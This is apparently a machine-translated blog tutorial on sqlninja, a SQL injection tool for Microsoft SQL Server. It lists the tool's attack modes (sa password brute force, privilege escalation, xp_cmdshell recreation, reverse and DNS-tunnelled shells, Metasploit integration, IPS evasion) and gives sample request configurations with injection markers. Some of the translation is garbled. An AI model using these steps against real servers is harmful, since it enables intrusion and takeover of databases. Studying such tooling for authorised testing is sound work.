sql ninja説明

4965 ワード

まず、sql ninjaの長所を紹介します。
Microsoft SQL Serverに対するSqlインジェクションツールリモートSQLサーバのフラグと特徴(バージョン、ユーザが実行するクエリ、ユーザ特権、xpucmdshellの利用可能性、アイデンティティ検証モードなど)を見つけることができます。
「sa」パスワードの強力攻撃
パスワードが見つかったら、特権を「sa」に引き上げます。
オリジナルのxp_ならcmdshellが無効になったら、オーダーメイドのxp_を作成します。cmdshell純粋なASCIIを使う GET/POST要求は、netcat.exeプログラムをアップロードするため、FTP接続は必要ない。ターゲットネットワークのファイアウォールによって許可されるポートを見つけるために、ターゲットSQLサーバに対するTCP/UDPポートスキャンを実施することができます。これは注入コードを「ぼやけ」させ、署名に基づくIPSとアプリケーション層ファイアウォールを混同/バイパスするための技術である。「盲目的に実行する」攻撃モードを採用して、他のモードが無効になった時にコマンドを発行して診断を実行することができます。sqlninjaが生成したSQLコードにおいて、自動化されたURL符号化が実行され、これにより、ユーザは、脆弱性利用の文字列をより細かく制御することができる。
  • 権限がSAであれば、msfに関連してターゲットホストをさらに浸透させることができる。
  • sqlninjaのいくつかの常用命令。
    ./sqlninja
           -m <mode> : Required. Available modes are:  //  modle
             t/test - test whether the injection is working   //         
             f/fingerprint - fingerprint user, xp_cmdshell and more
             b/bruteforce - bruteforce sa account //  sa    。。  -w    ,        ,  sqlninja      
             e/escalation - add user to sysadmin server role
             x/resurrectxp - try to recreate xp_cmdshell  //    
             u/upload - upload a .scr file   //  
             s/dirshell - start a direct shell  //         shell
             k/backscan - look for an open outbound port  //              
             r/revshell - start a reverse shell  //  shell
             d/dnstunnel - attempt a dns tunneled shell
             c/sqlcmd - issue a 'blind' OS command //      ,   sa      net user
             m/metasploit - wrapper to Metasploit stagers  //  msf  
           -f <file> : configuration file (default: sqlninja.conf) //  sqlninja.conf  
           -p <password> : sa password
           -w <wordlist> : wordlist to use in bruteforce mode (dictionary methodonly) //       。。  sa    
           -v : verbose output
           -d <mode> : activate debug //    
             1 - print each injected command
             2 - print each raw HTTP request
             3 - print each raw HTTP response
             all - all of the above
     -f        
       0 - Database version (2000/2005)   //         
       1 - Database user   //       
       2 - Database user rights  //         
       3 - Whether xp_cmdshell is working  //  xp_cmdshell     
       4 - Whether mixed or Windows-only authentication is used  //  windows      
       a - All of the above  //      
       h - Print this menu   //        
       q - exit  //  
    オープンしたばかりの時は、インターネットで半日の資料を探しましたが、リンクをどうやって入れるかは分かりませんでした。パラメータの中にはsqlmapのように-uパラメータがありませんでした。最後に、配置ディレクトリの下にあるsqlninja.comファイルがあると分かりました。配置ファイルを開けたら、中のオプションが特別です。
    多くは、ここでは単純に注入するだけで、構成ファイルの中から次のような情報が見つかります。
    # GET EXAMPLE:
    --httprequest_start--
    GET http://www.xxx.com/informationdetail.aspx?id=11&titleid=%e3h;__SQL2INJECT__ HTTP/1.1
    Host: www.xxxx.com
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
    Accept:*/*
    Accept-Language: en-us,en;q=0.7,it;q=0.3
    Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
    Connection: Keep-alive
    --httprequest_end--
    #
    # POST EXAMPLE: (The Content-Length Header is automatically added by sqlninja!)
    # --httprequest_start--
    # POST https://www.victim.com/page.asp HTTP/1.0
    # Host: www.victim.com
    # User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8
    # Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*
    # Accept-Language: en-us,en;q=0.7,it;q=0.3
    # Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
    # Content-Type: application/x-www-form-urlencoded
    # Cookie: ASPSESSIONID=xxxxxxxxxxxxxxxxxxxx
    # Authorization: Basic yyyyyyyyyyyyyyyyyyyyy
    # Connection: close
    #
    # vulnerableparam=aaa';__SQL2INJECT__&otherparam=blah
    # --httprequest_end--
    #
    # HEADER-BASED EXAMPLE:
    # --httprequest_start--
    # GET http://www.victim.com/page.asp HTTP/1.0
    # Host: www.victim.com
    # User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8
    # Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*
    # Accept-Language: en-us,en;q=0.7,it;q=0.3
    # Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
    # Content-Type: application/x-www-form-urlencoded
    # Cookie: VulnCookie=xxx'%3B__SQL2INJECT__
    # Connection: close
    # --httprequest_end--
    #
    ここには三つの方式のGET、POST、HEADER-BASEDの構成例があります。注入点によってトラッキング判定を行います。中の対応する情報を修正します。注入毎のリンクがあります。SQL 2 INJECT_u。だから配置する時忘れずに加えてください。他の機能を使用して、例えばmsfを結合するなら、自分で相応の配置を加えてください。以上の手順で配置が完了したら、テストができます。
    注入点が利用可能かどうかは.sqlninja-m testコマンドで検出します。成功すると[+]Injection was success fulが表示されます。Let’s rock上に述べた命令を使ってもいいです。
    使用./sqlninja-m metasploitコマンドはmsfと結合して浸透しやすくなります。metasploitの中のshellcodeを使うなら、このデフォルトは有効ではありません。sqlninja.com nfにおけるmetasploitの配置位置を修正する必要があります。Only needed if msfpayload and咻msfcli are not already in the pathmsfpath=/pentit/exploid/fork 3/   #前のコメントを抜きにして、ここでfram ewark 3のインストール位置に変更します。間違ったところがあれば、メッセージの訂正を歓迎します。もっと詳しく知りたければ、行ってもいいです。http://sqlninja.sourceforge.net/sqlninja-howto.html 見てみます